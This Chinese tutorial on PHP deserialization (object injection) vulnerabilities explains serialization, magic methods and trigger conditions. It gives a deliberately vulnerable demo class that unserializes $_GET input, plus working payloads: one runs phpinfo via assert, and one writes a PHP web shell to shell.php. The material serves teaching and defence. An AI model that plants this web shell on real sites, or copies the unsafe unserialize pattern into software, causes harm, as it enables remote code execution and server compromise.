详解PHP反序列化漏洞的原理及示例

 更新时间:2022年06月09日 09:13:57   作者:PHP开源社区  
PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。本文将详细讲讲PHP反序列化漏洞的原理及示例,感兴趣的可以了解一下

PHP反序列化

序列化与反序列化

序列化说通俗点就是把一个对象变成可以传输的字符串。序列化过程中还会对不同属性的变量进行不同方式的变化

public的属性在序列化时,直接显示属性名

protected的属性在序列化时,会在属性名前增加0x00*0x00,其长度会增加3

private的属性在序列化时,会在属性名前增加0x00classname0x00,其长度会增加类名长度+2

反序列化就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

PHP魔法函数

  • __construct()    #类的构造函数
  • __destruct()    #类的析构函数,在对象被销毁时执行该函数
  • __call()    #在对象中调用一个不可访问方法时调用
  • __callStatic()    #用静态方式中调用一个不可访问方法时调用
  • __get()    #获得一个类的成员变量时调用
  • __set()    #设置一个类的成员变量时调用
  • __isset()    #当对不可访问属性调用isset()或empty()时调用
  • __unset()    #当对不可访问属性调用unset()时被调用。
  • __sleep()    #执行serialize()时,先会调用这个函数
  • __wakeup()    #执行unserialize()时,先会调用这个函数
  • __toString()    #类被当成字符串时的回应方法
  • __invoke()    #调用函数的方式调用一个对象时的回应方法
  • __set_state()    #调用var_export()导出类时,此静态方法会被调用。
  • __clone()    #当对象复制完成时调用
  • __autoload()    #尝试加载未定义的类
  • __debugInfo()    #打印所需调试信息

序列化结构

反序列化漏洞

简介

PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。

原理

未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。

在反序列化的过程中自动触发了某些魔术方法。

触发条件

unserialize函数的变量可控,php文件中存在可利用的类,类中有魔法函数

示例

<?php

class demo{
    public $name;
    public $age;

    function __destruct(){
        $a = $this->name;
        $a($this->age);
    }
}

$h = new demo();
echo serialize($h);
unserialize($_GET['h']);

?>

payload

payload:(适用于destruct() wakeup())
O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:9:"phpinfo()";}

传木马
O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:64:"fputs(fopen('shell.php','w'),'<?php eval($_REQUEST["cmd"]);?>');";}

我们可以看到当,创建对象之后,没有调用该__destruct()函数,该函数也自动执行,也就是serialize()函数和unserialize()函数销毁了对象,触发了魔法函数的执行。

大致过程:

到此这篇关于详解PHP反序列化漏洞的原理及示例的文章就介绍到这了,更多相关PHP反序列化漏洞内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • 浅谈PHP安全防护之Web攻击

    浅谈PHP安全防护之Web攻击

    常见的Web攻击分为两类:一是利用Web服务器的漏洞进行攻击,如CGI缓冲区溢出,目录遍历漏洞利用等攻击;二是利用网页自身的安全漏洞进行攻击,如SQL注入,跨站脚本攻击等。下面这篇文章主要介绍了PHP安全防护之Web攻击,需要的朋友可以参考,下面来一起看看吧。
    2017-01-01
  • PHP 操作文件的一些FAQ总结

    PHP 操作文件的一些FAQ总结

    刚学习或对php的一些函数不是很熟悉的朋友,需要看下,就会发现php其实功能也很强大。
    2009-02-02
  • php绘制一条弧线的方法

    php绘制一条弧线的方法

    这篇文章主要介绍了php绘制一条弧线的方法,主要涉及GD库中imagearc方法的使用技巧,需要的朋友可以参考下
    2015-01-01
  • php编译安装php-amq扩展简明教程

    php编译安装php-amq扩展简明教程

    这篇文章主要介绍了php编译安装php-amq扩展的方法,较为详细的分析了php-amq扩展的功能及下载、编译安装的具体步骤与相关注意事项,需要的朋友可以参考下
    2016-06-06
  • win7+apache+php+mysql环境配置操作详解

    win7+apache+php+mysql环境配置操作详解

    本篇文章是对win7+apache+php+mysql环境配置的操作进行了详细的分析介绍,需要的朋友参考下
    2013-06-06
  • phpExcel导出大量数据出现内存溢出错误的解决方法

    phpExcel导出大量数据出现内存溢出错误的解决方法

    我们经常会使用phpExcel导入或导入xls文件,但是如果一次导出数据比较大就会出现内存溢出错误,下面我来总结解决办法
    2013-02-02
  • php获取某个目录大小的代码

    php获取某个目录大小的代码

    大致就是不知道目录下面又多少层目录, 也不知道又多少文件, 需要统计占用空间大小, 这个可以用在 相册/数据库占用/网络U盘 等程序中.
    2008-09-09
  • php多文件上传功能实现原理及代码

    php多文件上传功能实现原理及代码

    对多图片上传功能小小的研究了一下,把下面的代码整理出来,方便以后使用,感兴趣的各位可以参考下哈,希望对你有所帮助
    2013-04-04
  • PHP Array 数组详细介绍

    PHP Array 数组详细介绍

    这篇文章主要介绍了PHP Array数组详细介绍,PHP中的array实际上是一个有序映射。映射是一种把 values 关联到keys的类型,更多详情需要的小伙伴可以参考一下
    2022-09-09
  • 利用Memcached在php下实现session机制 替换PHP的原生session支持

    利用Memcached在php下实现session机制 替换PHP的原生session支持

    利用Memcached在php下实现session机制,替换PHP的原生session支持
    2010-08-08

最新评论